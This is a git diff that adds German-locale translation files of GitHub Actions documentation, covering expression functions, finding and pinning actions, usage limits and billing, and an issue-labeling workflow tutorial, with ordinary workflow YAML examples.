+Returns a single hash for the set of files that matches the `path` pattern. You can provide a single `path` pattern or multiple `path` patterns separated by commas. The `path` is relative to the `GITHUB_WORKSPACE` directory and can only include files inside of the `GITHUB_WORKSPACE`. This function calculates an individual SHA-256 hash for each matched file, and then uses those hashes to calculate a final SHA-256 hash for the set of files. If the `path` pattern does not match any files, this returns an empty string. For more information about SHA-256, see "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)."
+
+You can use pattern matching characters to match file names. Pattern matching is case-insensitive on Windows. For more information about supported pattern matching characters, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)."
+
+#### Example with a single pattern
+
+Matches any `package-lock.json` file in the repository.
+
+`hashFiles('**/package-lock.json')`
+
+#### Example with multiple patterns
+
+Creates a hash for any `package-lock.json` and `Gemfile.lock` files in the repository.
+
+`hashFiles('**/package-lock.json', '**/Gemfile.lock')`
+
+
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+## Status check functions
+
+You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)" and "[Metadata syntax for GitHub Composite Actions](/actions/creating-actions/metadata-syntax-for-github-actions/#runsstepsif)".
+{% else %}
+## Check Functions
+You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)".
+{% endif %}
+
+### success
+
+Returns `true` when none of the previous steps have failed or been canceled.
+
+#### Example
+
+```yaml
+steps:
+  ...
+  - name: The job has succeeded
+    if: {% raw %}${{ success() }}{% endraw %}
+```
+
+### always
+
+Causes the step to always execute, and returns `true`, even when canceled. A job or step will not run when a critical failure prevents the task from running. For example, if getting sources failed.
+
+#### Example
+
+```yaml
+if: {% raw %}${{ always() }}{% endraw %}
+```
+
+### cancelled
+
+Returns `true` if the workflow was canceled.
+
+#### Example
+
+```yaml
+if: {% raw %}${{ cancelled() }}{% endraw %}
+```
+
+### failure
+
+Returns `true` when any previous step of a job fails. If you have a chain of dependent jobs, `failure()` returns `true` if any ancestor job fails.
+
+#### Example
+
+```yaml
+steps:
+  ...
+  - name: The job has failed
+    if: {% raw %}${{ failure() }}{% endraw %}
+```
+
+#### failure with conditions
+
+You can include extra conditions for a step to run after a failure, but you must still include `failure()` to override the default status check of `success()` that is automatically applied to `if` conditions that don't contain a status check function.
+
+##### Example
+
+```yaml
+steps:
+  ...
+  - name: Failing step
+    id: demo
+    run: exit 1
+  - name: The demo step has failed
+    if: {% raw %}${{ failure() && steps.demo.conclusion == 'failure' }}{% endraw %}
+```
+
+## Object filters
+
+You can use the `*` syntax to apply a filter and select matching items in a collection.
+
+For example, consider an array of objects named `fruits`.
+
+```json
+[
+  { "name": "apple", "quantity": 1 },
+  { "name": "orange", "quantity": 2 },
+  { "name": "pear", "quantity": 1 }
+]
+```
+
+The filter `fruits.*.name` returns the array `[ "apple", "orange", "pear" ]`.
+
+You may also use the `*` syntax on an object. For example, suppose you have an object named `vegetables`.
+
+```json
+
+{
+  "scallions":
+  {
+    "colors": ["green", "white", "red"],
+    "ediblePortions": ["roots", "stalks"],
+  },
+  "beets":
+  {
+    "colors": ["purple", "red", "gold", "white", "pink"],
+    "ediblePortions": ["roots", "stems", "leaves"],
+  },
+  "artichokes":
+  {
+    "colors": ["green", "purple", "red", "black"],
+    "ediblePortions": ["hearts", "stems", "leaves"],
+  },
+}
+```
+
+The filter `vegetables.*.ediblePortions` could evaluate to:
+
+```json
+
+[
+  ["roots", "stalks"],
+  ["hearts", "stems", "leaves"],
+  ["roots", "stems", "leaves"],
+]
+```
+
+Since objects don't preserve order, the order of the output can not be guaranteed.
diff --git a/translations/de-DE/content/actions/learn-github-actions/finding-and-customizing-actions.md b/translations/de-DE/content/actions/learn-github-actions/finding-and-customizing-actions.md
new file mode 100644
index 0000000000..26a3fa7743
--- /dev/null
+++ b/translations/de-DE/content/actions/learn-github-actions/finding-and-customizing-actions.md
@@ -0,0 +1,209 @@
+---
+title: Finding and customizing actions
+shortTitle: Find and customize actions
+intro: 'Actions are the building blocks that power your workflow. A workflow can contain actions created by the community, or you can create your own actions directly within your application''s repository. This guide will show you how to discover, use, and customize actions.'
+redirect_from:
+  - /actions/automating-your-workflow-with-github-actions/using-github-marketplace-actions
+  - /actions/automating-your-workflow-with-github-actions/using-actions-from-github-marketplace-in-your-workflow
+  - /actions/getting-started-with-github-actions/using-actions-from-github-marketplace
+  - /actions/getting-started-with-github-actions/using-community-workflows-and-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Fundamentals
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Overview
+
+The actions you use in your workflow can be defined in:
+
+- The same repository as your workflow file{% ifversion internal-actions %}
+- An internal repository within the same enterprise account that is configured to allow access to workflows{% endif %}
+- Any public repository
+- A published Docker container image on Docker Hub
+
+{% data variables.product.prodname_marketplace %} is a central location for you to find actions created by the {% data variables.product.prodname_dotcom %} community.{% ifversion fpt or ghec %} [{% data variables.product.prodname_marketplace %} page](https://github.com/marketplace/actions/) enables you to filter for actions by category. {% endif %}
+
+{% data reusables.actions.enterprise-marketplace-actions %}
+
+{% ifversion fpt or ghec %}
+
+## Browsing Marketplace actions in the workflow editor
+
+You can search and browse actions directly in your repository's workflow editor. From the sidebar, you can search for a specific action, view featured actions, and browse featured categories. You can also view the number of stars an action has received from the {% data variables.product.prodname_dotcom %} community.
+
+1. In your repository, browse to the workflow file you want to edit.
+1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="The edit icon" %}.
+   ![Edit workflow file button](/assets/images/help/repository/actions-edit-workflow-file.png)
+1. To the right of the editor, use the {% data variables.product.prodname_marketplace %} sidebar to browse actions. Actions with the {% octicon "verified" aria-label="The verified badge" %} badge indicate {% data variables.product.prodname_dotcom %} has verified the creator of the action as a partner organization.
+   ![Marketplace workflow sidebar](/assets/images/help/repository/actions-marketplace-sidebar.png)
+
+## Adding an action to your workflow
+
+You can add an action to your workflow by referencing the action in your workflow file. 
+
+You can view the actions referenced in your {% data variables.product.prodname_actions %} workflows as dependencies in the dependency graph of the repository containing your workflows. For more information, see “[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph).”
+
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+
+{% note %}
+
+**Note:** To enhance security, {% data variables.product.prodname_actions %} is deprecating redirects for actions. This means that when the owner or name of an action's repository is changed, any workflows using that action with the previous name will fail.
+
+{% endnote %}
+
+{% endif %}
+
+### Adding an action from {% data variables.product.prodname_marketplace %}
+
+An action's listing page includes the action's version and the workflow syntax required to use the action. To keep your workflow stable even when updates are made to an action, you can reference the version of the action to use by specifying the Git or Docker tag number in your workflow file.
+
+1. Navigate to the action you want to use in your workflow.
+1. Under "Installation", click {% octicon "clippy" aria-label="The edit icon" %} to copy the workflow syntax.
+   ![View action listing](/assets/images/help/repository/actions-sidebar-detailed-view.png)
+1. Paste the syntax as a new step in your workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)."
+1. If the action requires you to provide inputs, set them in your workflow. For information on inputs an action might require, see "[Using inputs and outputs with an action](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)."
+
+{% data reusables.dependabot.version-updates-for-actions %}
+
+{% endif %}
+
+### Adding an action from the same repository
+
+If an action is defined in the same repository where your workflow file uses the action, you can reference the action with either the ‌`{owner}/{repo}@{ref}` or `./path/to/dir` syntax in your workflow file.
+
+Example repository file structure:
+
+```
+|-- hello-world (repository)
+|   |__ .github
+|       └── workflows
+|           └── my-first-workflow.yml
+|       └── actions
+|           |__ hello-world-action
+|               └── action.yml
+```
+
+Example workflow file:
+
+```yaml
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      # This step checks out a copy of your repository.
+      - uses: {% data reusables.actions.action-checkout %}
+      # This step references the directory that contains the action.
+      - uses: ./.github/actions/hello-world-action
+```
+
+The `action.yml` file is used to provide metadata for the action. Learn about the content of this file in "[Metadata syntax for GitHub Actions](/actions/creating-actions/metadata-syntax-for-github-actions)."
+
+### Adding an action from a different repository
+
+If an action is defined in a different repository than your workflow file, you can reference the action with the `{owner}/{repo}@{ref}` syntax in your workflow file.
+
+The action must be stored in a public repository{% ifversion internal-actions %} or an internal repository that is configured to allow access to workflows. For more information, see "[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)."{% else %}.{% endif %}
+
+```yaml
+jobs:
+  my_first_job:
+    steps:
+      - name: My first step
+        uses: {% data reusables.actions.action-setup-node %}
+```
+
+### Referencing a container on Docker Hub
+
+If an action is defined in a published Docker container image on Docker Hub, you must reference the action with the `docker://{image}:{tag}` syntax in your workflow file. To protect your code and data, we strongly recommend you verify the integrity of the Docker container image from Docker Hub before using it in your workflow.
+
+```yaml
+jobs:
+  my_first_job:
+    steps:
+      - name: My first step
+        uses: docker://alpine:3.8
+```
+
+For some examples of Docker actions, see the [Docker-image.yml workflow](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml) and "[Creating a Docker container action](/articles/creating-a-docker-container-action)."
+
+
+## Using release management for your custom actions
+
+The creators of a community action have the option to use tags, branches, or SHA values to manage releases of the action. Similar to any dependency, you should indicate the version of the action you'd like to use based on your comfort with automatically accepting updates to the action.
+
+You will designate the version of the action in your workflow file. Check the action's documentation for information on their approach to release management, and to see which tag, branch, or SHA value to use.
+
+{% note %}
+
+**Note:** We recommend that you use a SHA value when using third-party actions. For more information, see [Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-third-party-actions)
+
+{% endnote %}
+
+### Using tags
+
+Tags are useful for letting you decide when to switch between major and minor versions, but these are more ephemeral and can be moved or deleted by the maintainer. This example demonstrates how to target an action that's been tagged as `v1.0.1`:
+
+```yaml
+steps:
+  - uses: actions/javascript-action@v1.0.1
+```
+
+### Using SHAs
+
+If you need more reliable versioning, you should use the SHA value associated with the version of the action. SHAs are immutable and therefore more reliable than tags or branches. However this approach means you will not automatically receive updates for an action, including important bug fixes and security updates. You must use a commit's full SHA value, and not an abbreviated value. This example targets an action's SHA:
+
+```yaml
+steps:
+  - uses: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89
+```
+
+### Using branches
+
+Specifying a target branch for the action means it will always run the version currently on that branch. This approach can create problems if an update to the branch includes breaking changes. This example targets a branch named `@main`:
+
+```yaml
+steps:
+  - uses: actions/javascript-action@main
+```
+
+For more information, see "[Using release management for actions](/actions/creating-actions/about-actions#using-release-management-for-actions)."
+
+## Using inputs and outputs with an action
+
+An action often accepts or requires inputs and generates outputs that you can use. For example, an action might require you to specify a path to a file, the name of a label, or other data it will use as part of the action processing.
+
+To see the inputs and outputs of an action, check the `action.yml` or `action.yaml` in the root directory of the repository.
+
+In this example `action.yml`, the `inputs` keyword defines a required input called `file-path`, and includes a default value that will be used if none is specified. The `outputs` keyword defines an output called `results-file`, which tells you where to locate the results.
+
+```yaml
+name: "Example"
+description: "Receives file and generates output"
+inputs:
+  file-path: # id of input
+    description: "Path to test script"
+    required: true
+    default: "test-file.js"
+outputs:
+  results-file: # id of output
+    description: "Path to results file"
+```
+
+{% ifversion ghae %}
+
+## Using the actions included with {% data variables.product.prodname_ghe_managed %}
+
+By default, you can use most of the official {% data variables.product.prodname_dotcom %}-authored actions in {% data variables.product.prodname_ghe_managed %}. For more information, see "[Using actions in {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-actions-in-github-ae)."
+{% endif %}
+
+## Next steps
+
+To continue learning about {% data variables.product.prodname_actions %}, see "[Essential features of {% data variables.product.prodname_actions %}](/actions/learn-github-actions/essential-features-of-github-actions)."
diff --git a/translations/de-DE/content/actions/learn-github-actions/index.md b/translations/de-DE/content/actions/learn-github-actions/index.md
new file mode 100644
index 0000000000..81067a00b7
--- /dev/null
+++ b/translations/de-DE/content/actions/learn-github-actions/index.md
@@ -0,0 +1,36 @@
+---
+title: Informationen zu GitHub Actions
+shortTitle: Learn GitHub Actions
+intro: 'Unabhängig davon, ob {% data variables.product.prodname_actions %} für dich neu sind, oder du alle Möglichkeiten kennenlernen möchtest, die sie bieten, wird dir dieser Leitfaden dabei helfen, {% data variables.product.prodname_actions %} zur Beschleunigung deiner Anwendungsentwicklungsabläufe zu nutzen.'
+redirect_from:
+  - /articles/about-github-actions
+  - /actions/getting-started-with-github-actions
+  - /actions/getting-started-with-github-actions/about-github-actions
+  - /actions/getting-started-with-github-actions/overview
+  - /actions/getting-started-with-github-actions/getting-started-with-github-actions
+  - /articles/getting-started-with-github-actions
+  - /github/automating-your-workflow-with-github-actions/about-github-actions
+  - /actions/automating-your-workflow-with-github-actions/about-github-actions
+  - /github/automating-your-workflow-with-github-actions/getting-started-with-github-actions
+  - /actions/automating-your-workflow-with-github-actions/getting-started-with-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /understanding-github-actions
+  - /finding-and-customizing-actions
+  - /essential-features-of-github-actions
+  - /expressions
+  - /contexts
+  - /environment-variables
+  - /usage-limits-billing-and-administration
+ms.openlocfilehash: dcc50450ec26cbe5336d3eaca9c80df29a936ab9
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145105060'
+---
+
diff --git a/translations/de-DE/content/actions/learn-github-actions/understanding-github-actions.md b/translations/de-DE/content/actions/learn-github-actions/understanding-github-actions.md
new file mode 100644
index 0000000000..c839f81150
--- /dev/null
+++ b/translations/de-DE/content/actions/learn-github-actions/understanding-github-actions.md
@@ -0,0 +1,102 @@
+---
+title: Understanding GitHub Actions
+shortTitle: Understand GitHub Actions
+intro: 'Learn the basics of {% data variables.product.prodname_actions %}, including core concepts and essential terminology.'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions
+  - /actions/automating-your-workflow-with-github-actions/core-concepts-for-github-actions
+  - /actions/getting-started-with-github-actions/core-concepts-for-github-actions
+  - /actions/learn-github-actions/introduction-to-github-actions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Fundamentals
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Overview
+
+{% data reusables.actions.about-actions %}  You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production.
+
+{% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository.
+
+{% ifversion fpt or ghec %}
+
+{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure.
+
+{% elsif ghes or ghae %}
+
+You must host your own Linux, Windows, or macOS virtual machines to run workflows for {% data variables.location.product_location %}. {% data reusables.actions.self-hosted-runner-locations %}
+
+{% endif %}
+
+{% ifversion ghec or ghes or ghae %}
+
+For more information about introducing {% data variables.product.prodname_actions %} to your enterprise, see "[Introducing {% data variables.product.prodname_actions %} to your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)."
+
+{% endif %}
+
+## The components of {% data variables.product.prodname_actions %}
+
+You can configure a {% data variables.product.prodname_actions %} _workflow_ to be triggered when an _event_ occurs in your repository, such as a pull request being opened or an issue being created.  Your workflow contains one or more _jobs_ which can run in sequential order or in parallel.  Each job will run inside its own virtual machine _runner_, or inside a container, and has one or more _steps_ that either run a script that you define or run an _action_, which is a reusable extension that can simplify your workflow.
+
+![Workflow overview](/assets/images/help/images/overview-actions-simple.png)
+
+### Workflows
+
+{% data reusables.actions.about-workflows-long %}
+
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}You can reference a workflow within another workflow, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."{% endif %}
+
+For more information about workflows, see "[Using workflows](/actions/using-workflows)."
+
+### Events
+
+An event is a specific activity in a repository that triggers a workflow run. For example, activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository.  You can also trigger a workflow run on a schedule, by [posting to a REST API](/rest/reference/repos#create-a-repository-dispatch-event), or manually.
+
+For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/reference/events-that-trigger-workflows).
+
+### Jobs
+
+A job is a set of _steps_ in a workflow that execute on the same runner.  Each step is either a shell script that will be executed, or an _action_ that will be run.  Steps are executed in order and are dependent on each other.  Since each step is executed on the same runner, you can share data from one step to another.  For example, you can have a step that builds your application followed by a step that tests the application that was built.
+
+You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel with each other.  When a job takes a dependency on another job, it will wait for the dependent job to complete before it can run.  For example, you may have multiple build jobs for different architectures that have no dependencies, and a packaging job that is dependent on those jobs.  The build jobs will run in parallel, and when they have all completed successfully, the packaging job will run.
+
+For more information about jobs, see "[Using jobs](/actions/using-jobs)."
+
+### Actions
+
+An _action_ is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task.  Use an action to help reduce the amount of repetitive code that you write in your workflow files.  An action can pull your git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider.
+
+You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}.
+
+{% data reusables.actions.internal-actions-summary %}
+
+For more information, see "[Creating actions](/actions/creating-actions)."
+
+### Runners
+
+{% data reusables.actions.about-runners %} Each runner can run a single job at a time. {% ifversion ghes or ghae %} You must host your own runners for {% data variables.product.product_name %}. {% elsif fpt or ghec %}{% data variables.product.company_short %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your workflows; each workflow run executes in a fresh, newly-provisioned virtual machine. {% ifversion actions-hosted-runners %} {% data variables.product.prodname_dotcom %} also offers {% data variables.actions.hosted_runner %}s, which are available in larger configurations. For more information, see "[Using {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/using-larger-runners)." {% endif %}If you need a different operating system or require a specific hardware configuration, you can host your own runners.{% endif %} For more information{% ifversion fpt or ghec %} about self-hosted runners{% endif %}, see "[Hosting your own runners](/actions/hosting-your-own-runners)."
+
+{% data reusables.actions.workflow-basic-example-and-explanation %}
+
+## Next steps
+
+{% data reusables.actions.onboarding-next-steps %}
+
+## Contacting support
+
+{% data reusables.actions.contacting-support %}
+
+{% ifversion ghec or ghes or ghae %}
+## Further reading
+
+- "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)"
+{% endif %}
diff --git a/translations/de-DE/content/actions/learn-github-actions/usage-limits-billing-and-administration.md b/translations/de-DE/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
new file mode 100644
index 0000000000..0d316eca1f
--- /dev/null
+++ b/translations/de-DE/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
@@ -0,0 +1,125 @@
+---
+title: 'Usage limits, billing, and administration'
+intro: 'There are usage limits for {% data variables.product.prodname_actions %} workflows. Usage charges apply to repositories that go beyond the amount of free minutes and storage for a repository.'
+redirect_from:
+  - /actions/getting-started-with-github-actions/usage-and-billing-information-for-github-actions
+  - /actions/reference/usage-limits-billing-and-administration
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Billing
+shortTitle: Workflow billing & limits
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About billing for {% data variables.product.prodname_actions %}
+
+{% data reusables.repositories.about-github-actions %} For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions){% ifversion fpt %}."{% elsif ghes or ghec %}" and "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)."{% endif %}
+
+{% ifversion fpt or ghec %}
+{% data reusables.actions.actions-billing %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
+{% else %}
+GitHub Actions usage is free for {% data variables.product.prodname_ghe_server %} instances that use self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
+{% endif %}
+
+
+{% ifversion fpt or ghec %}
+
+## Availability
+
+{% data variables.product.prodname_actions %} is available on all {% data variables.product.prodname_dotcom %} products, but {% data variables.product.prodname_actions %} is not available for private repositories owned by accounts using legacy per-repository plans. {% data reusables.gated-features.more-info %}
+
+{% endif %}
+
+## Usage limits
+
+{% ifversion fpt or ghec %}
+There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. These limits are subject to change.
+
+{% note %}
+
+**Note:** For self-hosted runners, different usage limits apply. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
+
+{% endnote %}
+
+- **Job execution time** - Each job in a workflow can run for up to 6 hours of execution time. If a job reaches this limit, the job is terminated and fails to complete.
+{% data reusables.actions.usage-workflow-run-time %}
+{% data reusables.actions.usage-api-requests %}
+- **Concurrent jobs** - The number of concurrent jobs you can run in your account depends on your GitHub plan, as well as the type of runner used. If exceeded, any additional jobs are queued.
+
+  **Standard {% data variables.product.prodname_dotcom %}-hosted runners**
+
+  | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs |
+  |---|---|---|
+  | Free | 20 | 5 |
+  | Pro | 40 | 5 |
+  | Team | 60 | 5 |
+  | Enterprise | 180 | 50 |
+
+  **{% data variables.product.prodname_dotcom %}-hosted {% data variables.actions.hosted_runner %}s**
+
+  | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs |
+  |---|---|---|
+  | All | 500 | n/a |
+
+  {% note %}
+
+  **Note:** If required, customers on enterprise plans can request a higher limit for concurrent jobs. For more information, contact {% data variables.contact.contact_ent_support %} or your sales representative.
+
+  {% endnote %}
+  
+- **Job matrix** - {% data reusables.actions.usage-matrix-limits %}
+{% data reusables.actions.usage-workflow-queue-limits %}
+
+{% else %}
+Usage limits apply to self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
+{% endif %}
+
+{% ifversion fpt or ghec %}
+## Usage policy
+
+In addition to the usage limits, you must ensure that you use {% data variables.product.prodname_actions %} within the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/). For more information on {% data variables.product.prodname_actions %}-specific terms, see the [GitHub Additional Product Terms](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage).
+{% endif %}
+
+{% ifversion fpt or ghes > 3.3 or ghec %}
+## Billing for reusable workflows
+
+{% data reusables.actions.reusable-workflows-ghes-beta %}
+
+If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. The caller cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. 
+
+For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+{% endif %}
+
+## Artifact and log retention policy
+
+You can configure the artifact and log retention period for your repository, organization, or enterprise account.
+
+{% data reusables.actions.about-artifact-log-retention %}
+
+For more information, see:
+
+- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)"
+- "[Configuring the retention period for {% data variables.product.prodname_actions %} for artifacts and logs in your organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)"
+- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
+
+## Disabling or limiting {% data variables.product.prodname_actions %} for your repository or organization
+
+{% data reusables.actions.disabling-github-actions %}
+
+For more information, see:
+- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)"
+- "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)"
+- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
+
+## Disabling and enabling workflows
+
+You can enable and disable individual workflows in your repository on {% data variables.product.prodname_dotcom %}.
+
+{% data reusables.actions.scheduled-workflows-disabled %}
+
+For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)."
diff --git a/translations/de-DE/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md b/translations/de-DE/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
new file mode 100644
index 0000000000..1bf3d0be36
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
@@ -0,0 +1,78 @@
+---
+title: Hinzufügen von Bezeichnungen zu Issues
+intro: 'Du kannst {% data variables.product.prodname_actions %} verwenden, um Issues automatisch zu bezeichnen.'
+redirect_from:
+  - /actions/guides/adding-labels-to-issues
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+  - Project management
+ms.openlocfilehash: 8e80990a1a533ed303f47cbad8dafb95c890893d
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884309'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+In diesem Tutorial wird veranschaulicht, wie du die [`andymckay/labeler`-Aktion](https://github.com/marketplace/actions/simple-issue-labeler) in einem Workflow verwendest, um neue oder erneut geöffnete Issues zu bezeichnen. Beispielsweise kannst du jedes Mal die Bezeichnung `triage` hinzufügen, wenn ein Issue geöffnet oder erneut geöffnet wird. So kannst du alle Issues, die selektiert werden müssen, durch Filtern nach Issues mit der Bezeichnung `triage` anzeigen.
+
+In diesem Tutorial erstellst du zunächst eine Workflowdatei, die die [`andymckay/labeler`-Aktion](https://github.com/marketplace/actions/simple-issue-labeler) verwendet. Im Anschluss passt du den Workflow an deine Anforderungen an.
+
+## Erstellen des Workflows
+
+1. {% data reusables.actions.choose-repo %}
+2. {% data reusables.actions.make-workflow-file %}
+3. Kopiere den folgenden YAML-Inhalt in deine Workflowdatei.
+
+    ```yaml{:copy}
+{% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
+
+{% indented_data_reference reusables.actions.actions-use-sha-pinning-comment spaces=4 %}
+
+    name: Label issues
+    on:
+      issues:
+        types:
+          - reopened
+          - opened
+    jobs:
+      label_issues:
+        runs-on: ubuntu-latest
+        permissions:
+          issues: write
+        steps:
+          - name: Label issues
+            uses: andymckay/labeler@e6c4322d0397f3240f0e7e30a33b5c5df2d39e90
+            with:
+              add-labels: "triage"
+              repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+    ```
+
+4. Passe die Parameter in deiner Workflowdatei an:
+   - Ändere den Wert für `add-labels` in die Liste der Bezeichnungen, die du dem Issue hinzufügen möchtest. Trenne mehrere Bezeichnungen durch Kommas voneinander ab. Beispiel: `"help wanted, good first issue"`. Weitere Informationen zu Bezeichnungen findest du unter [Verwalten von Bezeichnungen](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests).
+5. {% data reusables.actions.commit-workflow %}
+
+## Testen des Workflows
+
+Jedes Mal, wenn ein Issue im Repository geöffnet oder erneut geöffnet wird, fügt dieser Workflow die Bezeichnungen hinzu, die du für das Issue angegeben hast.
+
+Teste deinen Workflow, indem du ein Issue in deinem Repository erstellst.
+
+1. Erstelle ein Issue in deinem Repository. Weitere Informationen findest du unter [Erstellen eines Issues](/github/managing-your-work-on-github/creating-an-issue).
+2. Um die Workflowausführung anzuzeigen, die durch das Erstellen des Issues ausgelöst wurde, rufe den Verlauf deiner Workflowausführungen auf. Weitere Informationen findest du unter [Aufrufen des Workflowausführungsverlaufs](/actions/managing-workflow-runs/viewing-workflow-run-history).
+3. Wenn der Workflow abgeschlossen ist, sollten dem erstellten Issue die angegebenen Bezeichnungen hinzugefügt worden sein.
+
+## Nächste Schritte
+
+- Weitere Informationen zu zusätzlichen Optionen, die du mit der `andymckay/labeler`-Aktion durchführen kannst, findest du in der [`andymckay/labeler`-Aktionsdokumentation](https://github.com/marketplace/actions/simple-issue-labeler). Dazu gehört z. B. das Entfernen von Bezeichnungen oder das Überspringen dieser Aktion, wenn das Issue zugewiesen ist oder eine bestimmte Bezeichnung aufweist.
